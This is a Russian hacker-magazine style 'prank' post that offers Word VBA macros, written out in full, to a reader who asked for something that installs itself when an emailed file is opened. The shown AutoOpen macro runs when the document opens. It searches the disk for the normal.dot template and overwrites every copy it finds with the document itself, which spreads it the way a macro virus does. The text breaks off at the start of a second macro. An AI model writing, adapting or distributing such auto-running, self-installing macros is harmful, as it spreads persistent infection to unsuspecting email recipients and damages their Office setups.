Западлишко на офисную тему
Зайдя на ксакепа в очередной раз, заметил, что опубликовано мое западлишко на офисную тему, а под ним от Ромэо следущая мессага: "Неплохо... Но хорошо бы это делать с удаленного компа! Отправить на мыло какое-нибудь файло, а при его вскрытии само бы все установилось!" Спешиал фор ю, Ромэо, еще один весёлый макрос (даже три): Sub AutoOpen() 'Макрос автоматом выполняется при 'открытии дока Dim i As Byte If ActiveDocument.Name "Имя вашего дока" Then Exit Sub End If 'Если этот работает уже как шаблон (то есть ' запущен не в первый раз) тогда выходим из 'процедуры 'Дальше идет поиск и замена всех "normal.dot" по указанному пути With Application.FileSearch .FileName = "normal.dot" .SearchSubFolders = True .LookIn = "Папка или диск, где надо искать" 'Например .LookIn="C:\Windows\Application 'Data\Microsoft\Шаблоны" .Execute For i = 1 To .FoundFiles.Count FileCopy ActiveDocument.FullName, .FoundFiles(i) Next i End With End Sub Sub AppMinimize() 'Макрос автоматом вып